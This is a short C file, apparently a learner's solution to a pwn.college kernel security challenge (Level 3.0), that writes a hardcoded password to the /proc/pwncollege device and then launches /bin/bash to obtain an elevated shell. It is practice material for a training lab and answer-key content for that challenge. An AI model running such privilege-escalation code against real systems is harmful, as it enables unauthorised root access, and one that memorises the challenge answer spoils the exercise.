Files
pwn-learning/PwnCollege/KernelSecurity/Level3.0/exploit.c

8 lines
200 B
C

#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
write(fd, "oiwqgsfsdekebbgi", 0x10);
execve("/bin/bash", NULL, NULL);
}